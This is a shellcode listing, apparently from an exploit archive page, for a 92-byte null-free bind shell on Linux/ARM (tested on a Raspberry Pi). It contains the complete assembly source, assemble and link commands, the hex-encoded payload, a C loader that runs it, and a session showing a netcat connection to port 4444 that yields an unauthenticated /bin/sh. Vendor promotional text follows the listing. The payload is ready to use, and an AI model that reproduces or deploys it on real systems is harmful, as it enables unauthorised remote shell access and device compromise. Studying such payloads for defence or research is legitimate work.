/*
# Title: Linux/ARM - Bind (0.0.0.0:4444/TCP) Shell (/bin/sh) + Null-Free Shellcode (92 Bytes)
# Date: 2018-09-26
# Tested: armv7l (Raspberry Pi 3 Model B+)
# Author: Ken Kitahara
[System Information]
pi@raspberrypi:~ $ uname -a
Linux raspberrypi 4.14.52-v7+ #1123 SMP Wed Jun 27 17:35:49 BST 2018 armv7l GNU/Linux
pi@raspberrypi:~ $ lsb_release -a
No LSB modules are available.
Distributor ID: Raspbian
Description: Raspbian GNU/Linux 9.4 (stretch)
Release: 9.4
Codename: stretch
pi@raspberrypi:~ $
[Source Code]
pi@raspberrypi:~ $ cat bindshell.s
.section .text
.global _start
_start:
.ARM
add lr, pc, #1
bx lr
.THUMB
// socket(2, 1, 0)
mov r0, #2
mov r1, #1
eor r2, r2, r2
mov r7, #200
add r7, #81
svc #1
mov r3, r0
// bind(fd, &sockaddr, 16)
adr r1, struct_addr
strb r2, [r1, #1]
str r2, [r1, #4]
mov r2, #16
add r7, r7, #1
svc #1
// listen(host_sockid, 2)
mov r0, r3
mov r1, #2
add r7, r7, #2
svc #1
// accept(host_sockid, 0, 0)
mov r0, r3
eor r1, r1, r1
eor r2, r2, r2
add r7, r7, #1
svc #1
mov r3, r0
mov r1, #3
mov r7, #63
duploop:
// dup2(client_sockid, 2)
// -> dup2(client_sockid, 1)
// -> dup2(client_sockid, 0)
mov r0, r3
sub r1, r1, #1
svc #1
cmp r1, r2
bne duploop
// execve("/bin/sh", 0, 0)
adr r0, spawn
strb r1, [r0, #7]
mov r7, #11
svc #1
struct_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 1,1,1,1
spawn:
.ascii "/bin/shX"
pi@raspberrypi:~ $ as -o bindshell.o bindshell.s && ld -N -o bindshell bindshell.o
pi@raspberrypi:~ $ objcopy -O binary bindshell bindshell.bin
pi@raspberrypi:~ $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' bindshell.bin && echo
\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x03\x1c\x0d\xa1\x4a\x70\x4a\x60\x10\x22\x01\x37\x01\xdf\x18\x1c\x02\x21\x02\x37\x01\xdf\x18\x1c\x49\x40\x52\x40\x01\x37\x01\xdf\x03\x1c\x03\x21\x3f\x27\x18\x1c\x01\x39\x01\xdf\x91\x42\xfa\xd1\x03\xa0\xc1\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58
pi@raspberrypi:~ $
[Operation Test]
(1) Compile and execute this PoC.
pi@raspberrypi:~ $ gcc -fno-stack-protector -z execstack loader-bind.c -o loader-bind
pi@raspberrypi:~ $ ./loader-bind
Shellcode Length: 92
(2) Connect to 127.0.0.1:4444/TCP from another terminal.
pi@raspberrypi:~ $ nc -vv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
id
uid=1000(pi) gid=1000(pi) groups=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
exit
^C
pi@raspberrypi:~ $
*/
#include<stdio.h>
#include<string.h>
unsigned char sc[] = \
"\x01\xe0\x8f\xe2\x1e\xff\x2f\xe1"
"\x02\x20\x01\x21\x52\x40\xc8\x27"
"\x51\x37\x01\xdf\x03\x1c\x0d\xa1"
"\x4a\x70\x4a\x60\x10\x22\x01\x37"
"\x01\xdf\x18\x1c\x02\x21\x02\x37"
"\x01\xdf\x18\x1c\x49\x40\x52\x40"
"\x01\x37\x01\xdf\x03\x1c\x03\x21"
"\x3f\x27\x18\x1c\x01\x39\x01\xdf"
"\x91\x42\xfa\xd1\x03\xa0\xc1\x71"
"\x0b\x27\x01\xdf\x02\xff\x11\x5c"
"\x01\x01\x01\x01\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
void main()
{
printf("Shellcode Length: %d\n", strlen(sc));
int (*ret)() = (int(*)())sc;
ret();
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation